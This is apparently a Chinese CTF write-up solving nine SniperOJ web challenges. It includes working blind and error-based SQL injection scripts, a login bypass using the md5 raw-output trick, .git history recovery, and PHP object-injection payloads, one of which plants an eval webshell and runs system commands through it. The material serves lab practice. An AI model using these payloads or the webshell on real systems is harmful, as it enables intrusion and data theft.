题目
### 图书管理系统(200)
### as fast as you can(50)
### md5-vs-injection(50)
### 2048(200)
### very-hard-injection(350)
### inject-again(300)
### SniperOJ-Web-Browser(150)
### guess the code(300)
### php-object-injection(200)
### 图书管理系统(200)
刚看到这个题的时候把各个页面的源码都看了一遍(本还以为是hash长度拓展攻击)
最后发现落点还是在注入,在登录页面做了一下尝试:
发现用户名这里,
如果正确,则返回密码错误
如果错误,则返回登录成功的信息
于是找到了盲注点,开始测试过滤:
发现ascii,select,substr……等等都可以使用
但是from似乎被过滤了,于是尝试了一下内联注释绕过:`/*!from*/`
发现成功,于是开始写脚本构造:
先爆库:
con = "sky' or ascii(substr((select database()),%d,1))=%s#"%(i,j)
可以得到库名为:`software`
再爆表
con = "sky' or ascii(substr((select group_concat(table_name) /*!from*/ information_schema.tables where table_schema=database()),%d,1))=%s#"%(i,j)
可以得到表名为:
`books,flag,records,users`
显然flag肯定在flag表里
再爆字段
con = "sky' or ascii(substr((select group_concat(column_name) /*!from*/ information_schema.columns where table_name=0x666c34343467),%d,1))=%s#"%(i,j)
可以得到字段名为:`fl4g`
最后出flag
`con = "sky' or ascii(substr((select fl4g /*!from*/ flag),%s,1))=%s#"%(i,j)`
可以得到flag为:`SniperOJ{Can_You_See_My_Heart}`
脚本如下:
python
#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests
flag = ''
for i in range(1,40):
for j in range(33,127):
url = 'http://web.sniperoj.cn:10009/src/API/login.php'
# con = "sky' or ascii(substr((select database()),%d,1))=%s#"%(i,j)
# con = "sky' or ascii(substr((select group_concat(table_name) /*!from*/ information_schema.tables where table_schema=database()),%d,1))=%s#" % (
# i, j)
# con = "sky' or ascii(substr((select group_concat(column_name) /*!from*/ information_schema.columns where table_name=0x666c6167),%d,1))=%s#"%(i,j)
con = "sky' or ascii(substr((select fl4g /*!from*/ flag),%s,1))=%d#"%(i,j)
# print con
data = {'username': con,
'password':'sky',
'submit':'%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2'}
s=requests.post(url=url,data=data)
if "密码错误" in s.content:
flag += chr(j)
print flag
break
print flag
### as fast as you can(50)
此类题目做了n遍了,显然是用python程序,对header进行处理,然后发送request,得到flag,于是迅速写了一下脚本:
python
import requests
from base64 import b64decode
s=requests.Session()
a=s.get('http://web.sniperoj.cn:10003/')
bs=a.headers['Get-flag']
flag=b64decode(bs)
payload={'SniperOJ':flag}
r=s.post('http://web.sniperoj.cn:10003/',data=payload)
print r.text
运行即可得到flag:`SniperOJ{faster_faster_faster_2333}`
### md5-vs-injection(50)
题目提示,只有管理员登录才可以登录
然后看到header里有提示:
select * from users where username='admin' and password='md5($password, true)
随后搜了一下
`md5($password, true)`
参考链接:`http://blog.csdn.net/greyfreedom/article/details/45846137`
可以知道密码用`ffifdyop`即可
于是登录:
`username=admin&password=ffifdyop`
可以拿到flag:`SniperOJ{md5_V5_injection}`
### 2048(200)
先是发现.git泄露,用工具:`https://github.com/WangYihang/GitHacker`
指令:`python GitHacker.py http://web2.sniperoj.cn:10000/.git/`
拿下源码后发现没什么特别的东西,后来经过大佬提示,用`git reflog`指令查看以往操作
3465ee8 HEAD@{0}: reset: moving to 3465ee8
3621550 HEAD@{1}: commit: Add my fancy 2048 game
007081d HEAD@{2}: reset: moving to 007081d370ec45fe10628304e5abe010903a9a16
3465ee8 HEAD@{3}: commit: Add my secret
007081d HEAD@{4}: commit (initial): Add README.md
发现`3465ee8 HEAD@{3}: commit: Add my secret`相当可疑
使用恢复指令:
`git reset --hard 3465ee8`
可以将my secret恢复
然后使用读指令:`git show 3465ee8`
得到:
commit 3465ee873ad8b3480c8dab9620878faca17d68d5
Author: WangYihang <wangyihanger@gmail.com>
Date: Tue Apr 18 17:20:27 2017 +0800
Add my secret
diff --git a/flag b/flag
new file mode 100644
index 0000000..8ef9efa
--- /dev/null
+++ b/flag
@@ -0,0 +1 @@
+SniperOJ{G1g_reflog_us34444}
很明显看到了flag:`SniperOJ{G1g_reflog_us34444}`
所以说学习.git相当重要(= =不仅能做题,还能做开发)
### very-hard-injection(350)
拿到题目刚开始比较懵,但是看见网页里有信息:
第一个:
`UPDATE `$_GET['table']` SET `username`='admin' WHERE `id`=1;`
第二个:
`?table=users`
第三个:
`Incorrect table name ''`
结合第一个,参数应该是table,请求方式为GET
结合第二个,应该参数是/?table=users
尝试了一下,果然是存在该表,然后思考如何注入
从第一个信息可以得知,我们传入的信息都被直接UPDATA了,没有过滤
于是可以注入,由于此处用的是`,所以先尝试一下:
`http://web.sniperoj.cn:10008/?table=users``
得到报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '`='admin' WHERE id=1' at line 1
看来有戏,但是这里不是查询语句了,所以注入有些麻烦
可以参考这篇链接:`http://blog.csdn.net/ysynhtt/article/details/45115849`
(我记得这种手法应该在上次陕西杯遇见过= =)
先爆库:
http://web.sniperoj.cn:10008/?table=users` join (select extractvalue(1, concat(0x7e, (select database()),0x7e))a)b on b.a=`username
得到库名:`SniperOJ`
先爆表:
http://web.sniperoj.cn:10008/?table=users` join (select extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))a)b on b.a=`username
得到表名:
`flagggggg,users`
很明显flag应该在表flagggggg里
爆字段:
http://web.sniperoj.cn:10008/?table=users` join (select extractvalue(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name=0x666c61676767676767),0x7e))a)b on b.a=`username
得到字段名:
`id,flag`
最后拿flag:
http://web.sniperoj.cn:10008/?table=users` join (select extractvalue(1, concat(0x7e, (select flag from flagggggg),0x7e))a)b on b.a=`username
得到flag:`SniperOJ{XXXXXPath___!!!_A}`
### inject-again(300)
按题目提示,先把username和password写上去:
`http://web2.sniperoj.cn:10004/?username&password`
得到信息:Flag is the password of admin!
所以接下来的思路应该是拿admin的password,肯定是注入了
然后根据题目观察来看,应该是一道盲注题,但是我尝试了一些姿势,但是不太懂为何我的payload不能照我预期进行,我也进行了本地测试,但是本地是成功的……所以很郁闷,所以引用了网上别的的脚本:
python
#!/usr/bin/python
# coding:utf-8
import requests
def makeStr(begin,end):
str=""
for i in range(begin,end):
str+=chr(i)
return str
def getPassword():
url="http://web2.sniperoj.cn:10004/index.php?username="
testStr = makeStr(48,127)
#print testStr
username = "admin' union distinct select 1,2,0x{hex} order by 3 desc%23&password=1"
flag = ""
for _ in range(32):
for i in testStr:
data = username.format(hex=(flag+i).encode('hex'))
#print data
res = requests.post(url+data)
if "admin" not in res.text:
flag= flag+chr(ord(i)-1)
print flag
break
if __name__== '__main__':
getPassword()
可见这是一个排序注入的题,还是挺常见的方法
运行脚本:
可以得到密码的md5值为:`498c67b7c86b01bd68ab5cbafd245b1c`
解密即可得到密码:`sniperoj`
故此得到flag:`SniperOJ{sniperoj}`
但是还是很不甘心我自己的payload,等我弄懂了要额外写一篇文章分析一下……
### SniperOJ-Web-Browser(150)
前面都是比较常规的,用burp改包都可以过(浏览器名,XFF)
然后后面有一个只可以用23333端口访问,改包是没办法的,必须要有一个公网IP(好像汪神平台也有类似题)
所以我是在服务器上直接用了curl命令:
curl http://web2.sniperoj.cn:10005/ --header 'X-Forwarded-For:127.0.0.1' --header 'User-Agent:SniperOJ-Web-Broswer' --local-port 23333
即可得到flag:`SniperOJ{hyper_t3xt_tran5fer_pr0t0cOl}`
### guess the code(300)
拿到题目后一番测试……发现还可以弹窗,差点以为是xss,后来看见题目里写了是反序列化,然后我就开始找源码泄露……
我擦嘞,用了各种扫描泄露的工具都找不到泄露,后来问了大佬,大佬让我细心点……
结果阴差阳错的我把滚动栏拉到了最下面…………看见了源码(内心一万只草泥马路过):
<p hidden>#try to read flag.php
Class whatthefuck{
public function __toString()
{
return highlight_file($this->source,true);
}
}</p>
```
然后就是构造序列化了:
```php
<?php
Class whatthefuck{
public function __toString()
{
return highlight_file($this->source,true);
}
}
$sky = new whatthefuck();
$sky->source = 'flag.php';
$sky2 = new whatthefuck();
$sky2->source = $sky;
echo serialize($sky2);
?>
得到
`O:11:"whatthefuck":1:{s:6:"source";O:11:"whatthefuck":1:{s:6:"source";s:8:"flag.php";}}`
但是这样直接用肯定序列化会被截断,所以用了url编码:
%4f%3a%31%31%3a%22%77%68%61%74%74%68%65%66%75%63%6b%22%3a%31%3a%7b%73%3a%36%3a%22%73%6f%75%72%63%65%22%3b%4f%3a%31%31%3a%22%77%68%61%74%74%68%65%66%75%63%6b%22%3a%31%3a%7b%73%3a%36%3a%22%73%6f%75%72%63%65%22%3b%73%3a%38%3a%22%66%6c%61%67%2e%70%68%70%22%3b%7d%7d
然后放入cookie里的list,即可拿到Flag:`SniperOJ{85262fb1410766c53bdfe51d15b6c4e342d3d514}`
### php-object-injection(200)
首先根据提示:
`Fuck, the powerline was suddenly cut off last night.`
可见可能存在swp泄露(因为断电,应该会自动备份)
访问`http://web2.sniperoj.cn:10007/.index.php.swp`
即可下载源码,用vim恢复一下,即可拿到源码
后发现是一道反序列化的题目,这里只需要自己构造一个类
脚本如下:
php
<?php
class Logger{
private $logFile;
private $initMsg;
private $exitMsg;
function __construct($file){
// initialise variables
$this->initMsg = "";
$this->exitMsg = '<?php @eval($_POST[sky]);?>';
$this->logFile = "/var/www/html/img/shell.php";
// write initial message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$initMsg);
fclose($fd);
}
function log($msg){
$fd=fopen($this->logFile,"a+");
fwrite($fd,$msg."\n");
fclose($fd);
}
function __destruct(){
// write exit message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$this->exitMsg);
fclose($fd);
}
}
$fake = new Logger('skyiscool');
echo base64_encode(serialize($fake));
生成一串序列化:
Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoyNzoiL3Zhci93d3cvaHRtbC9pbWcvc2hlbGwucGhwIjtzOjE1OiIATG9nZ2VyAGluaXRNc2ciO3M6MDoiIjtzOjE1OiIATG9nZ2VyAGV4aXRNc2ciO3M6Mjc6Ijw/cGhwIEBldmFsKCRfUE9TVFtza3ldKTs/PiI7fQ==
用Burp把其放入cookie中的drawing
当反序列化执行这个类的结束的时候,会自动执行里面的函数`function __destruct()`
,这样就成功将我们的shell写入了规定的路径的文件中
但是我的菜刀好像连不上,所以只能手工写入
第一步:`sky=system('ls');`
natas26_7nvblih9t0q1vap3bb1j1kn2c3.png
natas26_iddhdn7gigej0fsif59ol1sdm1.png
shell.php
发现没有什么东西
第二步:`sky=system('ls ..');`
F_LLLLA_-gggg
img
index.php
看到了flag
第三步:`sky=system('cat ../F_LLLLA_-gggg');`
SniperOJ{761f3235f57b6664ac9eb2518edc1478}
即可拿到Flag
这个题可以说是一个比较经典的反序列化漏洞的题目(运用了魔术函数,实现了文件的替换或者控制)